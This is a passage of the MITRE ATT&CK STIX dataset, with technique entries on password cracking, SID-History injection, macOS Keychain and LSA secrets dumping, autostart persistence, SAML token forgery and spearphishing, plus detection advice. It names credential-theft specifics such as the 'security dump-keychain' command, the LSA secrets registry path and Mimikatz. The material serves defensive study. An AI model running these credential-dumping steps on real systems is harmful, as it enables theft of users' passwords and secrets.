            "description": "Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) can be used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not an option. Further,  adversaries may leverage [Data from Configuration Repository](https://attack.mitre.org/techniques/T1602) in order to obtain hashed credentials for network devices.(Citation: US-CERT-TA18-106A) \n\nTechniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network.(Citation: Wikipedia Password cracking) The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access.",
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            "x_mitre_contributors": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Network Devices",
                "Office Suite",
                "Identity Provider"
            ],
            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "User Account: User Account Authentication",
                "Application Log: Application Log Content"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--1df0326d-2fbc-4d08-a16b-48365f1e742d",
            "created": "2018-01-16T16:13:52.465Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1178",
                    "external_id": "T1178"
                },
                {
                    "source_name": "Microsoft SID",
                    "description": "Microsoft. (n.d.). Security Identifiers. Retrieved November 30, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx"
                },
                {
                    "source_name": "Microsoft SID-History Attribute",
                    "description": "Microsoft. (n.d.). Active Directory Schema - SID-History attribute. Retrieved November 30, 2017.",
                    "url": "https://msdn.microsoft.com/library/ms679833.aspx"
                },
                {
                    "source_name": "Microsoft Well Known SIDs Jun 2017",
                    "description": "Microsoft. (2017, June 23). Well-known security identifiers in Windows operating systems. Retrieved November 30, 2017.",
                    "url": "https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems"
                },
                {
                    "source_name": "Microsoft Get-ADUser",
                    "description": "Microsoft. (n.d.). Active Directory Cmdlets - Get-ADUser. Retrieved November 30, 2017.",
                    "url": "https://technet.microsoft.com/library/ee617241.aspx"
                },
                {
                    "source_name": "AdSecurity SID History Sept 2015",
                    "description": "Metcalf, S. (2015, September 19). Sneaky Active Directory Persistence #14: SID History. Retrieved November 30, 2017.",
                    "url": "https://adsecurity.org/?p=1772"
                },
                {
                    "source_name": "Microsoft DsAddSidHistory",
                    "description": "Microsoft. (n.d.). Using DsAddSidHistory. Retrieved November 30, 2017.",
                    "url": "https://msdn.microsoft.com/library/ms677982.aspx"
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            "modified": "2025-04-25T15:15:14.342Z",
            "name": "SID-History Injection",
            "description": "The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nAdversaries may use this mechanism for privilege escalation. With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [Windows Admin Shares](https://attack.mitre.org/techniques/T1077), or [Windows Remote Management](https://attack.mitre.org/techniques/T1028).",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
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            "x_mitre_contributors": [
                "Vincent Le Toux",
                "Alain Homewood, Insomnia Security"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Examine data in user\u2019s SID-History attributes using the PowerShell Get-ADUser Cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015)\n\nMonitor Account Management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015)  (Citation: Microsoft DsAddSidHistory)\n\nMonitor Windows API calls to the <code>DsAddSidHistory</code> function. (Citation: Microsoft DsAddSidHistory)",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004",
            "created": "2020-02-19T18:46:06.098Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1114/001",
                    "external_id": "T1114.001"
                },
                {
                    "source_name": "Outlook File Sizes",
                    "description": "N. O'Bryan. (2018, May 30). Managing Outlook Cached Mode and OST File Sizes. Retrieved February 19, 2020.",
                    "url": "https://practical365.com/clients/office-365-proplus/outlook-cached-mode-ost-file-sizes/"
                },
                {
                    "source_name": "Microsoft Outlook Files",
                    "description": "Microsoft. (n.d.). Introduction to Outlook Data Files (.pst and .ost). Retrieved February 19, 2020.",
                    "url": "https://support.office.com/en-us/article/introduction-to-outlook-data-files-pst-and-ost-222eaf92-a995-45d9-bde2-f331f60e2790"
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            "modified": "2025-04-25T14:46:00.964Z",
            "name": "Local Email Collection",
            "description": "Adversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a user\u2019s local system, such as Outlook storage or cache files.\n\nOutlook stores data locally in offline data files with an extension of .ost. Outlook 2010 and later supports .ost file sizes up to 50GB, while earlier versions of Outlook support up to 20GB.(Citation: Outlook File Sizes) IMAP accounts in Outlook 2013 (and earlier) and POP accounts use Outlook Data Files (.pst) as opposed to .ost, whereas IMAP accounts in Outlook 2016 (and later) use .ost files. Both types of Outlook data files are typically stored in `C:\\Users\\<username>\\Documents\\Outlook Files` or `C:\\Users\\<username>\\AppData\\Local\\Microsoft\\Outlook`.(Citation: Microsoft Outlook Files)",
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            "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to gather local email files. Monitor for unusual processes accessing local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1",
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3",
            "created": "2020-02-12T18:55:24.728Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1555/001",
                    "external_id": "T1555.001"
                },
                {
                    "source_name": "External to DA, the OS X Way",
                    "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved September 12, 2024.",
                    "url": "https://www.slideshare.net/slideshow/external-to-da-the-os-x-way/62021418"
                },
                {
                    "source_name": "Keychain Services Apple",
                    "description": "Apple. (n.d.). Keychain Services. Retrieved April 11, 2022.",
                    "url": "https://developer.apple.com/documentation/security/keychain_services"
                },
                {
                    "source_name": "Empire Keychain Decrypt",
                    "description": "Empire. (2018, March 8). Empire keychaindump_decrypt Module. Retrieved April 14, 2022.",
                    "url": "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/collection/osx/keychaindump_decrypt.py"
                },
                {
                    "source_name": "OSX Keychain Schaumann",
                    "description": "Jan Schaumann. (2015, November 5). Using the OS X Keychain to store and retrieve passwords. Retrieved March 31, 2022.",
                    "url": "https://www.netmeister.org/blog/keychain-passwords.html"
                },
                {
                    "source_name": "Keychain Decryption Passware",
                    "description": "Yana Gourenko. (n.d.). A Deep Dive into Apple Keychain Decryption. Retrieved April 13, 2022.",
                    "url": "https://support.passware.com/hc/en-us/articles/4573379868567-A-Deep-Dive-into-Apple-Keychain-Decryption"
                }
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            "modified": "2025-04-15T22:44:01.937Z",
            "name": "Keychain",
            "description": "Adversaries may acquire credentials from Keychain. Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes. There are three types of Keychains: Login Keychain, System Keychain, and Local Items (iCloud) Keychain. The default Keychain is the Login Keychain, which stores user passwords and information. The System Keychain stores items accessed by the operating system, such as items shared among users on a host. The Local Items (iCloud) Keychain is used for items synced with Apple\u2019s iCloud service. \n\nKeychains can be viewed and edited through the Keychain Access application or using the command-line utility <code>security</code>. Keychain files are located in <code>~/Library/Keychains/</code>, <code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>.(Citation: Keychain Services Apple)(Citation: Keychain Decryption Passware)(Citation: OSX Keychain Schaumann)\n\nAdversaries may gather user credentials from Keychain storage/memory. For example, the command <code>security dump-keychain \u2013d</code> will dump all Login Keychain credentials from <code>~/Library/Keychains/login.keychain-db</code>. Adversaries may also directly read Login Keychain credentials from the <code>~/Library/Keychains/login.keychain</code> file. Both methods require a password, where the default password for the Login Keychain is the current user\u2019s password to login to the macOS host.(Citation: External to DA, the OS X Way)(Citation: Empire Keychain Decrypt)  ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Process: Process Creation",
                "Process: OS API Execution",
                "File: File Access"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf",
            "created": "2020-01-23T17:46:59.535Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1547",
                    "external_id": "T1547"
                },
                {
                    "source_name": "Cylance Reg Persistence Sept 2013",
                    "description": "Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20160214140250/http://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order"
                },
                {
                    "source_name": "MSDN Authentication Packages",
                    "description": "Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx"
                },
                {
                    "source_name": "Microsoft Run Key",
                    "description": "Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved September 12, 2024.",
                    "url": "https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys"
                },
                {
                    "source_name": "Microsoft TimeProvider",
                    "description": "Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx"
                },
                {
                    "source_name": "Linux Kernel Programming",
                    "description": "Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018.",
                    "url": "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T19:58:12.270Z",
            "name": "Boot or Logon Autostart Execution",
            "description": "Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.\n\nSince some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for additions or modifications of mechanisms that could be used to trigger autostart execution, such as relevant additions to the Registry. Look for changes that are not correlated with known updates, patches, or other planned administrative activity. Tools such as Sysinternals Autoruns may also be used to detect system autostart configuration changes that could be attempts at persistence.(Citation: TechNet Autoruns)  Changes to some autostart configuration settings may happen under normal conditions when legitimate software is installed. \n\nSuspicious program execution as autostart programs may show up as outlier processes that have not been seen before when compared against historical data.To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nMonitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL.\n\nMonitor for abnormal usage of utilities and command-line parameters involved in kernel modification or driver installation.",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_data_sources": [
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                "File: File Creation",
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                "File: File Modification",
                "Kernel: Kernel Module Load",
                "Process: Process Creation",
                "Driver: Driver Load"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc",
            "created": "2020-02-21T16:22:09.493Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1003/004",
                    "external_id": "T1003.004"
                },
                {
                    "source_name": "Tilbury Windows Credentials",
                    "description": "Chad Tilbury. (2017, August 8). 1Windows Credentials: Attack, Mitigation, Defense. Retrieved February 21, 2020.",
                    "url": "https://www.first.org/resources/papers/conf2017/Windows-Credentials-Attacks-and-Mitigation-Techniques.pdf"
                },
                {
                    "source_name": "ired Dumping LSA Secrets",
                    "description": "Mantvydas Baranauskas. (2019, November 16). Dumping LSA Secrets. Retrieved February 21, 2020.",
                    "url": "https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets"
                },
                {
                    "source_name": "Microsoft AD Admin Tier Model",
                    "description": "Microsoft. (2019, February 14). Active Directory administrative tier model. Retrieved February 21, 2020.",
                    "url": "https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material?redirectedfrom=MSDN"
                },
                {
                    "source_name": "Passcape LSA Secrets",
                    "description": "Passcape. (n.d.). Windows LSA secrets. Retrieved February 21, 2020.",
                    "url": "https://www.passcape.com/index.php?section=docsys&cmd=details&id=23"
                },
                {
                    "source_name": "Powersploit",
                    "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
                    "url": "https://github.com/mattifestation/PowerSploit"
                }
            ],
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            "modified": "2025-04-15T22:44:50.491Z",
            "name": "LSA Secrets",
            "description": "Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation: Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry at <code>HKEY_LOCAL_MACHINE\\SECURITY\\Policy\\Secrets</code>. LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets)\n\n[Reg](https://attack.mitre.org/software/S0075) can be used to extract from the Registry. [Mimikatz](https://attack.mitre.org/software/S0002) can be used to extract secrets from memory.(Citation: ired Dumping LSA Secrets)",
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                    "phase_name": "credential-access"
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            "x_mitre_contributors": [
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            "x_mitre_detection": "Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Windows Registry: Windows Registry Key Access",
                "Command: Command Execution"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--1f47e2fd-fa77-4f2f-88ee-e85df308f125",
            "created": "2017-05-31T21:30:26.057Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1013",
                    "external_id": "T1013"
                },
                {
                    "source_name": "AddMonitor",
                    "description": "Microsoft. (n.d.). AddMonitor function. Retrieved November 12, 2014.",
                    "url": "http://msdn.microsoft.com/en-us/library/dd183341"
                },
                {
                    "source_name": "Bloxham",
                    "description": "Bloxham, B. (n.d.). Getting Windows to Play with Itself &#91;PowerPoint slides&#93;. Retrieved November 12, 2014.",
                    "url": "https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                }
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            "modified": "2025-04-25T15:15:14.881Z",
            "name": "Port Monitors",
            "description": "A port monitor can be set through the  (Citation: AddMonitor) API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in <code>C:\\Windows\\System32</code> and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>. \n\nThe Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.",
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                    "phase_name": "persistence"
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                {
                    "kill_chain_name": "mitre-attack",
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            "x_mitre_contributors": [
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            "x_mitre_detection": "* Monitor process API calls to  (Citation: AddMonitor).\n* Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal.\n* New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious.\n* Monitor Registry writes to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>.\n* Run the Autoruns utility, which checks for this Registry key as a persistence mechanism (Citation: TechNet Autoruns)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
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            "x_mitre_version": "1.1"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--1f9012ef-1e10-4e48-915e-e03563435fe8",
            "created": "2020-10-19T18:47:08.759Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1600",
                    "external_id": "T1600"
                },
                {
                    "source_name": "Cisco Synful Knock Evolution",
                    "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.",
                    "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices"
                },
                {
                    "source_name": "Cisco Blog Legacy Device Attacks",
                    "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
                    "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
                }
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            "modified": "2025-04-25T15:15:15.040Z",
            "name": "Weaken Encryption",
            "description": "Adversaries may compromise a network device\u2019s encryption capability in order to bypass encryption that would otherwise protect data communications. (Citation: Cisco Synful Knock Evolution)\n\nEncryption can be used to protect transmitted network traffic to maintain its confidentiality (protect against unauthorized disclosure) and integrity (protect against unauthorized changes). Encryption ciphers are used to convert a plaintext message to ciphertext and can be computationally intensive to decipher without the associated decryption key. Typically, longer keys increase the cost of cryptanalysis, or decryption without the key.\n\nAdversaries can compromise and manipulate devices that perform encryption of network traffic. For example, through behaviors such as [Modify System Image](https://attack.mitre.org/techniques/T1601), [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001), and [Disable Crypto Hardware](https://attack.mitre.org/techniques/T1600/002), an adversary can negatively effect and/or eliminate a device\u2019s ability to securely encrypt network traffic. This poses a greater risk of unauthorized disclosure and may help facilitate data manipulation, Credential Access, or Collection efforts. (Citation: Cisco Blog Legacy Device Attacks)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
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            ],
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "There is no documented method for defenders to directly identify behaviors that weaken encryption. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601). Some detection methods require vendor support to aid in investigation.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Network Devices"
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "File: File Modification"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2",
            "created": "2020-12-17T15:24:12.240Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1606/002",
                    "external_id": "T1606.002"
                },
                {
                    "source_name": "Microsoft SolarWinds Steps",
                    "description": "Lambert, J. (2020, December 13). Important steps for customers to protect themselves from recent nation-state cyberattacks. Retrieved December 17, 2020.",
                    "url": "https://blogs.microsoft.com/on-the-issues/2020/12/13/customers-protect-nation-state-cyberattacks/"
                },
                {
                    "source_name": "Microsoft SAML Token Lifetimes",
                    "description": "Microsoft. (2020, December 14). Configurable token lifetimes in Microsoft Identity Platform. Retrieved December 22, 2020.",
                    "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-configurable-token-lifetimes"
                },
                {
                    "source_name": "Microsoft SolarWinds Customer Guidance",
                    "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.",
                    "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/"
                },
                {
                    "source_name": "Cyberark Golden SAML",
                    "description": "Reiner, S. (2017, November 21). Golden SAML: Newly Discovered Attack Technique Forges Authentication to Cloud Apps. Retrieved December 17, 2020.",
                    "url": "https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps"
                },
                {
                    "source_name": "Sygnia Golden SAML",
                    "description": "Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved November 17, 2024.",
                    "url": "https://www.sygnia.co/threat-reports-and-advisories/golden-saml-attack/"
                }
            ],
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            "modified": "2025-04-15T23:01:25.698Z",
            "name": "SAML Tokens",
            "description": "An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour, but the validity period can be specified in the <code>NotOnOrAfter</code> value of the <code>conditions ...</code> element in a token. This value can be changed using the <code>AccessTokenLifetime</code> in a <code>LifetimeTokenPolicy</code>.(Citation: Microsoft SAML Token Lifetimes) Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: Cyberark Golden SAML)\n\nAn adversary may utilize [Private Keys](https://attack.mitre.org/techniques/T1552/004) to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.(Citation: Microsoft SolarWinds Customer Guidance) This differs from [Steal Application Access Token](https://attack.mitre.org/techniques/T1528) and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users.\n\nAn adversary may gain administrative Entra ID privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Blake Strom, Microsoft 365 Defender",
                "Oleg Kolesnikov, Securonix",
                "Jack Burns, HubSpot"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "This technique may be difficult to detect as SAML tokens are signed by a trusted certificate. The forging process may not be detectable since it is likely to happen outside of a defender's visibility, but subsequent usage of the forged token may be seen. Monitor for anomalous logins using SAML tokens created by a compromised or adversary generated token-signing certificate. These logins may occur on any on-premises resources as well as from any cloud environment that trusts the certificate.(Citation: Microsoft SolarWinds Customer Guidance) Search for logins to service providers using SAML SSO which do not have corresponding 4769, 1200, and 1202 events in the Domain.(Citation: Sygnia Golden SAML)\n\nConsider modifying SAML responses to include custom elements for each service provider. Monitor these custom elements in service provider access logs to detect any anomalous requests.(Citation: Sygnia Golden SAML)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "SaaS",
                "Windows",
                "IaaS",
                "Office Suite",
                "Identity Provider"
            ],
            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "Web Credential: Web Credential Usage",
                "Web Credential: Web Credential Creation",
                "Logon Session: Logon Session Creation",
                "User Account: User Account Authentication",
                "Logon Session: Logon Session Metadata",
                "Process: Process Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1192",
                    "external_id": "T1192"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/163.html",
                    "external_id": "CAPEC-163"
                },
                {
                    "source_name": "Trend Micro Pawn Storm OAuth 2017",
                    "description": "Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks"
                }
            ],
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            "modified": "2025-04-25T15:15:15.281Z",
            "name": "Spearphishing Link",
            "description": "Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications  designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "initial-access"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Shailesh Tiwary (Indian Army)",
                "Mark Wee",
                "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)",
                "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)"
            ],
            "x_mitre_deprecated": false,
